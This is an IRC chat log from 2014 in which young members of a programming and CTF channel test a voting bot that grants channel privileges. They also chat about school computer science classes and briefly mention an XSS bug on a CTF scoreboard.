[2014-11-26T16:19:23-0500] <Tamini> or leaders in general
[2014-11-26T16:19:24-0500] <Tamini> :P
[2014-11-26T16:19:34-0500] <+alokpathy> Darn now I'm confused
[2014-11-26T16:19:52-0500] <+alokpathy> I'm fairly sure Tamini, sdamashek, LittleBobbyTables , and I voted yes
[2014-11-26T16:20:00-0500] <Kent> .vote 11 yay
[2014-11-26T16:20:00-0500] <&Pidgey> You must be identified to do that.
[2014-11-26T16:21:34-0500] <+alokpathy> LittleBobbyTables: sdamashek  You voted yes for proposal 11, right?
[2014-11-26T16:21:46-0500] <+sdamashek> think so
[2014-11-26T16:21:58-0500] <@awe> sdamashek: voted yes
[2014-11-26T16:22:01-0500] <@awe> Tamini: voted yes
[2014-11-26T16:22:10-0500] <@awe> LittleBobbyTables: voted yea
[2014-11-26T16:22:28-0500] <@awe> As did alokpathy and Hcnsh.
[2014-11-26T16:22:39-0500] <+alokpathy> So shouldn't it have gone through? 
[2014-11-26T16:22:46-0500] <@awe> hardmath voted no.
[2014-11-26T16:23:09-0500] <@awe> alokpathy: Probably, yes.
[2014-11-26T16:23:15-0500] <+alokpathy> wat
[2014-11-26T16:23:31-0500] <+alokpathy> Why am I not owner? :(
[2014-11-26T16:24:34-0500] <@awe> !derp++
[2014-11-26T16:24:34-0500] <&Pidgey> There have been 18 derps.
[2014-11-26T16:24:49-0500] <@awe> Oh.
[2014-11-26T16:24:49-0500] <@awe> "voice":["LittleBobbyTables","awe","Hcnsh","hardmath123","Hcnsh","Tamini","sdamashek","alokpathy","alokpathy","Tamini","hardmath123","alokpathy","Hcnsh","hardmath123","hardmath123","alokpathy","hardmath123"]
[2014-11-26T16:24:50-0500] <@awe> That's why.
[2014-11-26T16:24:59-0500] <@awe> I don't know why it keeps adding duplicates of everyone.
[2014-11-26T16:25:00-0500] <@awe> But it does.
[2014-11-26T16:25:01-0500] <Tamini> LOL
[2014-11-26T16:25:20-0500] <@awe> Oh, I know why, actually.
[2014-11-26T16:25:42-0500] <+alokpathy> Wow
[2014-11-26T16:26:09-0500] <ubuntor> ???
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[2014-11-26T16:27:49-0500] <+alokpathy> rip Pidgey
[2014-11-26T16:28:10-0500] <ubuntor> does it add every time someone gets voice?
[2014-11-26T16:28:33-0500] Pidgey (services@services.pdgn.co) joined the channel
[2014-11-26T16:28:41-0500] Pidgey sets mode +a Pidgey
[2014-11-26T16:28:41-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services.
[2014-11-26T16:28:54-0500] <@awe> ubuntor: Yes, by accident.
[2014-11-26T16:29:00-0500] <ubuntor> ok
[2014-11-26T16:29:01-0500] <@awe> ubuntor: I forgot that if you send MODE to a server, it responds by sending mode.
[2014-11-26T16:29:04-0500] <@awe> Now it doesn't.
[2014-11-26T16:29:09-0500] awe sets mode -v alokpathy
[2014-11-26T16:29:12-0500] awe sets mode +v alokpathy
[2014-11-26T16:29:12-0500] Pidgey sets mode -v alokpathy
[2014-11-26T16:29:16-0500] <@awe> alokpathy: Go identify.
[2014-11-26T16:29:46-0500] alokpathy (uid15876@pdgn-5ih.9lf.7cuf9e.IP) left the channel ("")
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[2014-11-26T16:29:54-0500] <Tamini> lol
[2014-11-26T16:29:54-0500] awe sets mode +v alokpathy
[2014-11-26T16:30:12-0500] <+alokpathy> Wait, I just did
[2014-11-26T16:30:14-0500] <@awe> Okay.
[2014-11-26T16:30:20-0500] <@awe> "voice":["LittleBobbyTables","awe","Hcnsh","hardmath123","Tamini","sdamashek","alokpathy"]
[2014-11-26T16:30:22-0500] <@awe> No more duplicates.
[2014-11-26T16:30:29-0500] <+alokpathy> Do we have to vote again now?
[2014-11-26T16:30:31-0500] <@awe> .active
[2014-11-26T16:30:31-0500] <&Pidgey> None
[2014-11-26T16:30:32-0500] <@awe> Yes.
[2014-11-26T16:30:36-0500] <+alokpathy> Dang
[2014-11-26T16:30:42-0500] <@awe> All the bunk proposals you guys made are gone now.
[2014-11-26T16:30:47-0500] <+alokpathy> :(
[2014-11-26T16:30:52-0500] <@awe> Proposals are not persistent.
[2014-11-26T16:30:57-0500] <+alokpathy> .propose alokpathy chowner
[2014-11-26T16:30:58-0500] <&Pidgey> alokpathy is not a valid option for a proposal.
[2014-11-26T16:31:05-0500] <Tamini> darn
[2014-11-26T16:31:10-0500] <+alokpathy> .propose chowner alokpathy 
[2014-11-26T16:31:10-0500] <&Pidgey> chowner is not a valid option for a proposal.
[2014-11-26T16:31:11-0500] <Tamini> also apothy, order
[2014-11-26T16:31:17-0500] <+alokpathy> oops
[2014-11-26T16:31:22-0500] <@awe> chown
[2014-11-26T16:31:29-0500] <+alokpathy> .propose chown alokpathy 
[2014-11-26T16:31:29-0500] <&Pidgey> Proposal 0 is live.
[2014-11-26T16:31:33-0500] <+alokpathy> .vote 0 yay
[2014-11-26T16:31:33-0500] <&Pidgey> yay is not a valid vote.
[2014-11-26T16:31:34-0500] <@awe> .vote 0 nay
[2014-11-26T16:31:34-0500] <&Pidgey> You must be identified to do that.
[2014-11-26T16:31:36-0500] <+alokpathy> .vote 0 yea
[2014-11-26T16:31:36-0500] <&Pidgey> Vote issued.
[2014-11-26T16:31:44-0500] <+alokpathy> Tamini: Vote yes plz
[2014-11-26T16:31:54-0500] <@awe> .vote 0 nay
[2014-11-26T16:31:54-0500] <&Pidgey> Vote issued.
[2014-11-26T16:31:57-0500] <+alokpathy> sdamashek: LittleBobbyTables You have to vote again for me to be owner. It's proposal 0 now.
[2014-11-26T16:32:47-0500] <+alokpathy> Tamini: I will be be best chown ever
[2014-11-26T16:33:01-0500] <Tamini> but im an anarchist
[2014-11-26T16:33:03-0500] <Tamini> :(
[2014-11-26T16:33:06-0500] <+alokpathy> Tamini: Irrelevant 
[2014-11-26T16:33:07-0500] <@awe> Vote nay. :D
[2014-11-26T16:33:10-0500] <+alokpathy> Noooo :D
[2014-11-26T16:33:12-0500] <+alokpathy> Vote yes :D
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[2014-11-26T16:33:21-0500] Pidgey sets mode +v Tamini
[2014-11-26T16:33:31-0500] <+alokpathy> Tamini: Vote yea :D
[2014-11-26T16:34:33-0500] <+Tamini> nu
[2014-11-26T16:34:39-0500] <+Tamini> anarchy best policy
[2014-11-26T16:34:43-0500] <+Tamini> !vote 0 nay
[2014-11-26T16:34:51-0500] <+Tamini> .vote 0 nay
[2014-11-26T16:34:51-0500] <&Pidgey> Vote issued.
[2014-11-26T16:34:53-0500] <+alokpathy> :(
[2014-11-26T16:34:55-0500] <+Tamini> !derp++
[2014-11-26T16:34:55-0500] <&Pidgey> There have been 19 derps.
[2014-11-26T16:35:16-0500] <+alokpathy> It's okay. I'll probably still get 4 votes.
[2014-11-26T16:35:28-0500] <+alokpathy> Assuming LittleBobbyTables, sdamashek, and Hcnsh don't change.
[2014-11-26T16:35:54-0500] <@awe> This might just prove that I need to increase the requirement to win.
[2014-11-26T16:36:04-0500] <@awe> You only need three votes yes.
[2014-11-26T16:36:12-0500] <@awe> 3/7 > 40%
[2014-11-26T16:36:34-0500] <+alokpathy> Oh nice
[2014-11-26T16:36:49-0500] <+alokpathy> sdamashek: Vote yea for proposal 0
[2014-11-26T16:36:55-0500] <+alokpathy> it's the same as the previous proposal 11
[2014-11-26T16:37:01-0500] <+Tamini> i liked
[2014-11-26T16:37:03-0500] <+alokpathy> except that one died 'cause Pidgey died at one point.
[2014-11-26T16:37:05-0500] <+Tamini> hardmath having
[2014-11-26T16:37:07-0500] <@awe> sdamashek: vote no, it's irresponsible. 
[2014-11-26T16:37:10-0500] <+Tamini> 20k votws better
[2014-11-26T16:37:21-0500] <@awe> Tamini: he didn't have multiple votes.
[2014-11-26T16:37:23-0500] <+Tamini> who's even here right now
[2014-11-26T16:37:28-0500] <+Tamini> we need more people to voice
[2014-11-26T16:37:30-0500] <@awe> Tamini: the total was just arbitrarily large.
[2014-11-26T16:37:33-0500] <+Tamini> ohh
[2014-11-26T16:37:39-0500] <@awe> You still only had one vote.
[2014-11-26T16:37:41-0500] <@awe> (HashMaps)
[2014-11-26T16:37:48-0500] <+Tamini> why don't half the people identify .\.
[2014-11-26T16:37:52-0500] <@awe> I don't know.
[2014-11-26T16:37:55-0500] <@awe> I'd voice them if they identified.
[2014-11-26T16:38:05-0500] <+Tamini> massping ?
[2014-11-26T16:38:06-0500] awe sets mode +v ubuntor
[2014-11-26T16:38:06-0500] Pidgey sets mode -v ubuntor
[2014-11-26T16:38:25-0500] <+alokpathy> ubuntor: Vote yea for proposal 0
[2014-11-26T16:38:27-0500] <ubuntor> oh right, pidgey restarted
[2014-11-26T16:38:36-0500] <@awe> benwaffle  bob_twinkles jwoglom Kent nezorg ubuntor unitedjaymo : register your nicknames and identify.
[2014-11-26T16:38:43-0500] <@awe> ubuntor: Yeah, you're already registered.
[2014-11-26T16:38:47-0500] awe sets mode +v ubuntor
[2014-11-26T16:38:48-0500] <+ubuntor> ok, identified
[2014-11-26T16:38:51-0500] <+ubuntor> alright
[2014-11-26T16:38:57-0500] <+ubuntor> hmm
[2014-11-26T16:39:00-0500] <jwoglom> I thought I had
[2014-11-26T16:39:01-0500] <@awe> You can now responsibly vote no on alokpathy's proposal.
[2014-11-26T16:39:12-0500] <@awe> jwoglom: oh, just send identify again then
[2014-11-26T16:39:13-0500] <+alokpathy> Or do the smart thing and vote yes.
[2014-11-26T16:39:16-0500] <+ubuntor> .vote 0 nay
[2014-11-26T16:39:16-0500] <&Pidgey> Vote issued.
[2014-11-26T16:39:19-0500] <+alokpathy> :(
[2014-11-26T16:39:54-0500] <+alokpathy> sdamashek: LittleBobbyTables vote yes for proposal 0
[2014-11-26T16:40:03-0500] awe sets mode +v jwoglom
[2014-11-26T16:40:08-0500] <+alokpathy> jwoglom: You too
[2014-11-26T16:40:16-0500] awe sets mode +v bob_twinkles
[2014-11-26T16:40:16-0500] Pidgey sets mode -v bob_twinkles
[2014-11-26T16:40:28-0500] <+alokpathy> Everybody vote yes for proposal 0 :D
[2014-11-26T16:40:35-0500] <+alokpathy> I promise change to pdgn.
[2014-11-26T16:40:37-0500] <+alokpathy> Yes we can.
[2014-11-26T16:40:42-0500] <@awe> You can't change anything. .-.
[2014-11-26T16:40:45-0500] <@awe> There's nothing to change.
[2014-11-26T16:40:53-0500] <+alokpathy> awe: I'll think of something.
[2014-11-26T16:40:58-0500] <@awe> We don't have any rules.
[2014-11-26T16:41:20-0500] <+alokpathy> I can improve our economy. 
[2014-11-26T16:41:24-0500] <@awe> We don't have an economy.
[2014-11-26T16:41:36-0500] <+alokpathy> I can do it by making an economy. 
[2014-11-26T16:41:43-0500] <@awe> We could make PdgnCoin
[2014-11-26T16:41:53-0500] <+alokpathy> Exactly.
[2014-11-26T16:41:58-0500] <@awe> pdgnco.in
[2014-11-26T16:41:58-0500] <@awe> :D
[2014-11-26T16:42:02-0500] <+alokpathy> yo nice
[2014-11-26T16:42:19-0500] <+alokpathy> If elected, I will push forward with the PdgnCoin project.
[2014-11-26T16:42:25-0500] <+alokpathy> Vote for me :D
[2014-11-26T16:42:57-0500] <@awe> I want to implement a cryptocurrency in Rust from scratch.
[2014-11-26T16:43:02-0500] <@awe> I worry that I won't understand it though.
[2014-11-26T16:43:22-0500] <+alokpathy> You'll be able to do it if I'm owner.
[2014-11-26T16:43:24-0500] <+Tamini> sdamashek: support anarchy
[2014-11-26T16:43:25-0500] <@awe> Can we test something?
[2014-11-26T16:43:29-0500] <@awe> Everyone vote yes on my proposal.
[2014-11-26T16:43:29-0500] <+Tamini> vote nay for proposal 0
[2014-11-26T16:43:34-0500] <@awe> .propose deop LittleBobbyTables
[2014-11-26T16:43:34-0500] <&Pidgey> Proposal 1 is live.
[2014-11-26T16:43:35-0500] <+Tamini> .active
[2014-11-26T16:43:35-0500] <&Pidgey> Proposal (1) to deop LittleBobbyTables.
[2014-11-26T16:43:35-0500] <&Pidgey> Proposal (0) to change the owner to alokpathy.
[2014-11-26T16:43:37-0500] <@awe> .vote 1 yea
[2014-11-26T16:43:37-0500] <&Pidgey> Vote issued.
[2014-11-26T16:43:41-0500] <+ubuntor> .vote 1 yea
[2014-11-26T16:43:41-0500] <&Pidgey> Vote issued.
[2014-11-26T16:43:43-0500] <+Tamini> .vote 1 yea
[2014-11-26T16:43:43-0500] <&Pidgey> Vote issued.
[2014-11-26T16:43:44-0500] <+alokpathy> .vote 1 nay
[2014-11-26T16:43:44-0500] <&Pidgey> Vote issued.
[2014-11-26T16:43:51-0500] <@awe> alokpathy: I'm going to reop him.
[2014-11-26T16:43:55-0500] <@awe> alokpathy: I need to test something.
[2014-11-26T16:43:57-0500] <@awe> Thanks.
[2014-11-26T16:44:00-0500] <+alokpathy> Oh, oops
[2014-11-26T16:44:09-0500] <+alokpathy> I did not see that
[2014-11-26T16:44:17-0500] <+alokpathy> my bad
[2014-11-26T16:44:38-0500] <+alokpathy> .vote 1 yea ?
[2014-11-26T16:44:41-0500] <+alokpathy> .vote 1 yea
[2014-11-26T16:44:41-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-26T16:44:44-0500] <+alokpathy> darn
[2014-11-26T16:44:52-0500] <+alokpathy> Sorry awe :(
[2014-11-26T16:44:57-0500] <+ubuntor> hm
[2014-11-26T16:45:10-0500] <+ubuntor> can you make it so that duplicate proposals aren't allowed?
[2014-11-26T16:45:12-0500] <+Tamini> jwoglom: support awe?
[2014-11-26T16:45:16-0500] <+Tamini> i think he needs to test something
[2014-11-26T16:45:23-0500] <+Tamini> also sdamashek should be alive
[2014-11-26T16:45:24-0500] <@awe> ubuntor: I can, and probably should.
[2014-11-26T16:45:35-0500] <+jwoglom> .vote 1 yea
[2014-11-26T16:45:36-0500] <&Pidgey> Vote issued.
[2014-11-26T16:45:36-0500] Pidgey sets mode -o LittleBobbyTables
[2014-11-26T16:45:36-0500] <&Pidgey> Enacted proposal to deop LittleBobbyTables.
[2014-11-26T16:45:56-0500] <@awe> "opers":["LittleBobbyTables","LittleBobbyTables","LittleBobbyTables","LittleBobbyTables","awe"]
[2014-11-26T16:46:04-0500] <@awe> "opers":["awe"]
[2014-11-26T16:46:07-0500] <+alokpathy> Yay
[2014-11-26T16:46:10-0500] <@awe> It correctly removed the four instances of him being oper.
[2014-11-26T16:46:12-0500] <@awe> Awesome.
[2014-11-26T16:46:17-0500] <@awe> .propose oper LittleBobbyTables
[2014-11-26T16:46:17-0500] <&Pidgey> Proposal 2 is live.
[2014-11-26T16:46:18-0500] <@awe> .vote 2 yea
[2014-11-26T16:46:18-0500] <&Pidgey> Vote issued.
[2014-11-26T16:46:22-0500] <+alokpathy> .vote 2 yea
[2014-11-26T16:46:22-0500] <&Pidgey> Vote issued.
[2014-11-26T16:46:37-0500] <+Tamini> .vote 2 nay
[2014-11-26T16:46:37-0500] <&Pidgey> Vote issued.
[2014-11-26T16:46:38-0500] <+Tamini> :P
[2014-11-26T16:46:39-0500] <+ubuntor> .vote 2 yea
[2014-11-26T16:46:39-0500] <&Pidgey> Vote issued.
[2014-11-26T16:46:46-0500] <+alokpathy> Tamini: So evil
[2014-11-26T16:46:52-0500] <@awe> jwoglom: vote yea on 2.
[2014-11-26T16:47:01-0500] <+jwoglom> .vote 2 yea
[2014-11-26T16:47:02-0500] <&Pidgey> Vote issued.
[2014-11-26T16:47:02-0500] Pidgey sets mode +o LittleBobbyTables
[2014-11-26T16:47:02-0500] <&Pidgey> Enacted proposal to oper LittleBobbyTables.
[2014-11-26T16:47:09-0500] <@awe> Okay, cool.
[2014-11-26T16:47:13-0500] <@awe> Now there's only one oper entry for him.
[2014-11-26T16:47:36-0500] <+ubuntor> test quit and rejoin?
[2014-11-26T16:47:41-0500] <@awe> ?
[2014-11-26T16:47:56-0500] <@awe> Oh, for duplicates?
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[2014-11-26T16:47:58-0500] <+ubuntor> yeah
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[2014-11-26T16:48:23-0500] <@awe> I'm not sure how the duplicate oper entries came to be.
[2014-11-26T16:48:40-0500] <@awe> The voice ones were caused by Pidgey re-parsing the MODE +v's from the user.
[2014-11-26T16:48:45-0500] <@awe> erm
[2014-11-26T16:48:47-0500] <@awe> from himself, rather.
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[2014-11-26T21:01:32-0500] <alokpathy> I am your leader.
[2014-11-26T21:01:46-0500] <Tamini> i have no leader
[2014-11-26T21:02:00-0500] <alokpathy> Tamini: That's what you think.
[2014-11-26T21:04:09-0500] <Tamini> i am a strong independent woman
[2014-11-26T21:04:52-0500] <alokpathy> Tamini: Good, good.
[2014-11-26T21:10:40-0500] <@LittleBobbyTables> ubuntor: it's sittar
[2014-11-26T21:10:48-0500] <@LittleBobbyTables> I'm pretty sure, at least
[2014-11-26T21:10:56-0500] <@LittleBobbyTables> anyway making food
[2014-11-26T21:11:43-0500] <+ubuntor> looks like sitter, according to wiktionary
[2014-11-26T21:11:56-0500] <Tamini> ooh LittleBobbyTables
[2014-11-26T21:11:59-0500] <Tamini> wana make me food
[2014-11-26T21:12:55-0500] <+ubuntor> and send it over irc? :P
[2014-11-26T21:16:04-0500] <Tamini> ramenet
[2014-11-26T21:16:06-0500] <Tamini> pls
[2014-11-26T23:14:45-0500] <@LittleBobbyTables> Sorry Tamini, my food.
[2014-11-26T23:15:07-0500] <Tamini> i need ramenet
[2014-11-26T23:15:10-0500] <Tamini> so you can send me food
[2014-11-26T23:21:09-0500] <@LittleBobbyTables> Or you could, I dunno, come visit.
[2014-11-26T23:21:41-0500] <Tamini> again i told you
[2014-11-26T23:21:52-0500] <Tamini> my mother does not support me going to visit creepy old men
[2014-11-26T23:21:58-0500] <Tamini> make csaw ctf next year :)
[2014-11-26T23:24:11-0500] <@LittleBobbyTables> But how would I make you food?
[2014-11-26T23:31:21-0500] <Tamini> bring stuff
[2014-11-26T23:31:22-0500] <Tamini> make food
[2014-11-26T23:34:58-0500] <@LittleBobbyTables> Buy stuff for me <3
[2014-11-26T23:35:54-0500] <failedxyz> hei
[2014-11-26T23:41:26-0500] <Tamini> jesus christ
[2014-11-26T23:41:37-0500] <Tamini> i was wondering why one of my old friends suddenly looked attractive
[2014-11-26T23:41:42-0500] <Tamini> he got plastic surgery ._.
[2014-11-26T23:41:45-0500] <Hcnsh> wat
[2014-11-26T23:42:00-0500] <Tamini> literally
[2014-11-26T23:42:05-0500] <Tamini> he got double eyelid surgery
[2014-11-26T23:42:10-0500] <Tamini> none of us realized it for a while
[2014-11-26T23:42:15-0500] <Tamini> then we were like !!!!!
[2014-11-26T23:42:35-0500] <Hcnsh> does it really make a difference? O.o
[2014-11-26T23:44:32-0500] <@LittleBobbyTables> dafuq is that
[2014-11-26T23:45:27-0500] <Tamini> well it was like a
[2014-11-26T23:45:32-0500] <Tamini> distinguishing feature for him
[2014-11-26T23:45:36-0500] <Tamini> droopy eyes
[2014-11-26T23:45:45-0500] <Tamini> then now its like hot af and icant
[2014-11-26T23:46:29-0500] <@LittleBobbyTables> Literally can't eve?
[2014-11-26T23:46:34-0500] <@LittleBobbyTables> even
[2014-11-26T23:47:20-0500] <Hcnsh> pics plis
[2014-11-26T23:47:23-0500] <Hcnsh> before and after, preferably
[2014-11-26T23:48:59-0500] <Tamini> LOL
[2014-11-26T23:49:02-0500] <Tamini> pls no
[2014-11-27T00:12:31-0500] <Tamini> lesson of the day: plastic surgery is a scary thing
[2014-11-27T00:12:40-0500] <@LittleBobbyTables> ugh
[2014-11-27T00:12:50-0500] <@LittleBobbyTables> strcasecmp == "whatever"
[2014-11-27T00:12:55-0500] <@LittleBobbyTables> ppl, please stop using that...
[2014-11-27T04:23:39-0500] Mode is +nt
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[2014-11-27T10:23:17-0500] Pidgey sets mode +o Hcnsh
[2014-11-27T10:24:38-0500] <The_Master> Hcnsh: can you voice me?
[2014-11-27T10:24:50-0500] <@Hcnsh> sure
[2014-11-27T10:24:58-0500] Hcnsh sets mode +v The_Master
[2014-11-27T10:24:58-0500] Pidgey sets mode -v The_Master
[2014-11-27T10:25:02-0500] <@Hcnsh> identify
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[2014-11-27T10:27:35-0500] <@Hcnsh> done?
[2014-11-27T10:27:44-0500] <The_Master> Hcnsh: one sec
[2014-11-27T10:28:08-0500] <The_Master> Hcnsh: yes
[2014-11-27T10:28:11-0500] Hcnsh sets mode +v The_Master
[2014-11-27T10:28:18-0500] <+The_Master> Hcnsh: thanks!
[2014-11-27T10:29:22-0500] <+The_Master> .active
[2014-11-27T10:29:22-0500] <&Pidgey> None
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[2014-11-27T11:09:53-0500] <JacobEdelman> so, Hcnsh can you voice me?
[2014-11-27T11:18:59-0500] <+The_Master> .propose v+ JacobEdelman
[2014-11-27T11:18:59-0500] <&Pidgey> v+ is not a valid option for a proposal.
[2014-11-27T11:27:10-0500] <@Hcnsh> back
[2014-11-27T11:27:12-0500] Hcnsh sets mode +v JacobEdelman
[2014-11-27T11:28:34-0500] <@Hcnsh> jacobedelman u der
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[2014-11-27T12:24:14-0500] <failedxyz> hei
[2014-11-27T12:25:01-0500] <Tamini> eiyo
[2014-11-27T12:25:08-0500] <Tamini> how's ezctf prepping going for ya
[2014-11-27T12:25:34-0500] <failedxyz> scoreboard got XSS'd yesterday :D
[2014-11-27T12:25:56-0500] <Tamini> LOL
[2014-11-27T12:26:06-0500] <Tamini> "sanitize your damn inputs"
[2014-11-27T12:26:09-0500] <failedxyz> *whoops*
[2014-11-27T12:26:11-0500] <failedxyz> no
[2014-11-27T12:26:12-0500] <failedxyz> i did
[2014-11-27T12:26:15-0500] <failedxyz> you know what i did wrong
[2014-11-27T12:26:31-0500] <Tamini> what?
[2014-11-27T12:26:37-0500] <failedxyz> i had two variables and one was the sanitized version of the other, but then when i put it in the db i put the unsanitized one :S
[2014-11-27T12:26:50-0500] <failedxyz> so i was looking through my sanitizing function and everything was working perfectly fine
[2014-11-27T12:26:57-0500] <failedxyz> i am retarded
[2014-11-27T12:27:39-0500] <Tamini> LOL
[2014-11-27T12:27:44-0500] <Tamini> its okay
[2014-11-27T12:27:47-0500] <Tamini> youre just a derp
[2014-11-27T12:27:51-0500] <Tamini> !derp++
[2014-11-27T12:27:51-0500] <&Pidgey> There have been 21 derps.
[2014-11-27T12:27:54-0500] <failedxyz> i guess
[2014-11-27T12:29:52-0500] <Tamini> :P
[2014-11-27T12:37:23-0500] <@Hcnsh> what'd the attacker do?
[2014-11-27T12:37:25-0500] <@Hcnsh> lol
[2014-11-27T12:37:37-0500] <Tamini> well uh
[2014-11-27T12:37:47-0500] <Tamini> failedxyz: didnt sanitize his inputs
[2014-11-27T12:38:51-0500] <@Hcnsh> guize
[2014-11-27T12:38:57-0500] <@Hcnsh> wanna help me write an email to my teacher
[2014-11-27T12:39:13-0500] <@Hcnsh> asking to take cs courses i'm not really eligible for?
[2014-11-27T12:39:22-0500] <@Hcnsh> (i need to take ap cs, which is next year, for them)
[2014-11-27T12:39:51-0500] <Tamini> uhh
[2014-11-27T12:39:51-0500] <@Hcnsh> my hope is that he'll talk to the assistant principle of CS and let me in
[2014-11-27T12:39:57-0500] <Tamini> propose draft, will edit
[2014-11-27T12:40:05-0500] <@Hcnsh> k, let me remove names
[2014-11-27T12:40:48-0500] <@Hcnsh> http://pastebin.com/qELJPvx0
[2014-11-27T12:45:48-0500] <Tamini> put in more specific details like
[2014-11-27T12:45:52-0500] <Tamini> "such as"
[2014-11-27T12:46:05-0500] <Tamini> specifics supports your claim that you know stuff
[2014-11-27T12:46:13-0500] <@Hcnsh> for algorithms/data strucutres?
[2014-11-27T12:46:44-0500] <@Hcnsh> um, the sorting ones, variants of linked lists.. does std::map count?
[2014-11-27T12:48:47-0500] <failedxyz> lol why does your school have so many computer science classes
[2014-11-27T12:48:55-0500] <failedxyz> i wish our school had more
[2014-11-27T12:49:36-0500] <@Hcnsh> intro1, intro2, apcs, system level programming, software development, computer science
[2014-11-27T12:49:37-0500] <@Hcnsh> that's it
[2014-11-27T12:49:40-0500] <@Hcnsh> needs more
[2014-11-27T12:49:50-0500] <failedxyz> intro1, apcs
[2014-11-27T12:49:52-0500] <failedxyz> that's all we have
[2014-11-27T12:49:53-0500] <@Hcnsh> lol
[2014-11-27T12:49:59-0500] <@Hcnsh> is intro1 a full-year course?
[2014-11-27T12:50:02-0500] <failedxyz> no
[2014-11-27T12:50:03-0500] <failedxyz> it's half
[2014-11-27T12:50:05-0500] <@Hcnsh> oh
[2014-11-27T12:50:06-0500] <@Hcnsh> k
[2014-11-27T12:50:34-0500] <failedxyz> http://puu.sh/d7Jv9/ce86d7a950.png
[2014-11-27T12:51:16-0500] <failedxyz> and the intro teacher is stoooopid
[2014-11-27T12:51:40-0500] <failedxyz> *working in java here
[2014-11-27T12:51:47-0500] <failedxyz> "make a guessing game that saves your guesses"
[2014-11-27T12:52:07-0500] <failedxyz> teacher's approach: make an array with length 9999 because no one will guess that much
[2014-11-27T12:52:15-0500] <failedxyz> my approach: use an arraylist
[2014-11-27T12:52:31-0500] <@Hcnsh> LOL
[2014-11-27T12:52:42-0500] <failedxyz> teacher: "if you use arraylist i will give you a 0. that's not in the curriculum in this class"
[2014-11-27T12:52:46-0500] <@Hcnsh> should be on heap. i assume arraylist is.
[2014-11-27T12:52:51-0500] <failedxyz> a.k.a. he doesn't know what it is
[2014-11-27T12:52:52-0500] <@Hcnsh> wow
[2014-11-27T12:53:14-0500] <@Hcnsh> wait, why does a guessing game provide unlimited guesses?
[2014-11-27T12:53:15-0500] <failedxyz> so not only does he not know what he's doing
[2014-11-27T12:53:22-0500] <failedxyz> he discourages learning :s
[2014-11-27T12:53:24-0500] <failedxyz> uh
[2014-11-27T12:53:24-0500] <failedxyz> idk
[2014-11-27T12:53:28-0500] <failedxyz> it was in his instructions
[2014-11-27T12:53:44-0500] <failedxyz> originally the instructions only said "keep track the number of guesses"
[2014-11-27T12:53:46-0500] <failedxyz> and i'm like
[2014-11-27T12:53:49-0500] <failedxyz> use a counter
[2014-11-27T12:53:57-0500] <failedxyz> but he said "no keep them in an array"
[2014-11-27T12:54:00-0500] <failedxyz> :I fine
[2014-11-27T13:02:08-0500] <@Hcnsh> can anyone explain when binary trees are used and their advantages?
[2014-11-27T13:02:12-0500] <@Hcnsh> so i can say i know them?
[2014-11-27T13:03:43-0500] <failedxyz> they are used in apcs tests
[2014-11-27T13:04:14-0500] <@Hcnsh> ...
[2014-11-27T13:14:56-0500] alokpathy (uid15876@pdgn-5ih.9lf.7cuf9e.IP) joined the channel
[2014-11-27T13:14:56-0500] Pidgey sets mode +q alokpathy
[2014-11-27T13:15:02-0500] <+JacobEdelman> wait
[2014-11-27T13:15:07-0500] <+JacobEdelman> alokpathy is now owner???
[2014-11-27T13:15:11-0500] <~alokpathy> Ywa
[2014-11-27T13:15:11-0500] <+JacobEdelman> can I be oped?
[2014-11-27T13:15:13-0500] <~alokpathy> Yes*
[2014-11-27T13:15:14-0500] <failedxyz> lol
[2014-11-27T13:15:15-0500] <+JacobEdelman> pretty please
[2014-11-27T13:15:26-0500] <~alokpathy> .propose oper JacobEdelman 
[2014-11-27T13:15:26-0500] <&Pidgey> Proposal 7 is live.
[2014-11-27T13:15:30-0500] <+JacobEdelman> wiat
[2014-11-27T13:15:33-0500] <~alokpathy> I am not a tyrant. 
[2014-11-27T13:15:36-0500] <+JacobEdelman> can't you just op me
[2014-11-27T13:15:38-0500] <+JacobEdelman> ahhhh
[2014-11-27T13:15:41-0500] <failedxyz> lol
[2014-11-27T13:15:44-0500] <+JacobEdelman> .vote 7 yea
[2014-11-27T13:15:44-0500] <&Pidgey> Vote issued.
[2014-11-27T13:15:47-0500] <failedxyz> .vote 7 yea
[2014-11-27T13:15:47-0500] <&Pidgey> You must be identified to do that.
[2014-11-27T13:15:52-0500] <failedxyz> crap
[2014-11-27T13:15:53-0500] <+The_Master> .active
[2014-11-27T13:15:53-0500] <&Pidgey> Proposal (7) to oper JacobEdelman.
[2014-11-27T13:15:55-0500] <failedxyz> how do i identify
[2014-11-27T13:16:04-0500] <~alokpathy> failedxyz: /ns identify <password>
[2014-11-27T13:16:08-0500] <@Hcnsh> are you voiced? you need to be voiced too
[2014-11-27T13:16:37-0500] <+The_Master> .active
[2014-11-27T13:16:37-0500] <&Pidgey> Proposal (7) to oper JacobEdelman.
[2014-11-27T13:17:05-0500] <+The_Master> .proposal deoper JacobEdelman
[2014-11-27T13:17:06-0500] <@Hcnsh> alok, wanna take turns being owner?
[2014-11-27T13:17:10-0500] <+The_Master> .proposal deop JacobEdelman
[2014-11-27T13:17:16-0500] <@Hcnsh> propose
[2014-11-27T13:17:18-0500] <@Hcnsh> not proposal
[2014-11-27T13:17:19-0500] <failedxyz> .vote 7 yea
[2014-11-27T13:17:19-0500] <&Pidgey> You must be voiced to do that.
[2014-11-27T13:17:24-0500] <failedxyz> ok i'm not voiced
[2014-11-27T13:17:24-0500] Hcnsh sets mode +v failedxyz
[2014-11-27T13:17:29-0500] <+failedxyz> .vote 7 yea
[2014-11-27T13:17:29-0500] <&Pidgey> Vote issued.
[2014-11-27T13:17:31-0500] <+The_Master> .vote 7 yea'
[2014-11-27T13:17:31-0500] <&Pidgey> yea' is not a valid vote.
[2014-11-27T13:17:33-0500] <+The_Master> .vote 7 yea
[2014-11-27T13:17:33-0500] <&Pidgey> Vote issued.
[2014-11-27T13:17:35-0500] <@Hcnsh> alokpathy plis
[2014-11-27T13:17:38-0500] <@Hcnsh> wanna take turns being owner?
[2014-11-27T13:17:38-0500] <+failedxyz> lol
[2014-11-27T13:17:55-0500] <~alokpathy> Hcnsh: I think I'm good :P
[2014-11-27T13:18:03-0500] <@Hcnsh> plis, aren't you lonely
[2014-11-27T13:18:13-0500] <@Hcnsh> .propose chown Hcnsh
[2014-11-27T13:18:13-0500] <&Pidgey> Proposal 8 is live.
[2014-11-27T13:18:14-0500] <@Hcnsh> .vote 8 yea
[2014-11-27T13:18:14-0500] <&Pidgey> Vote issued.
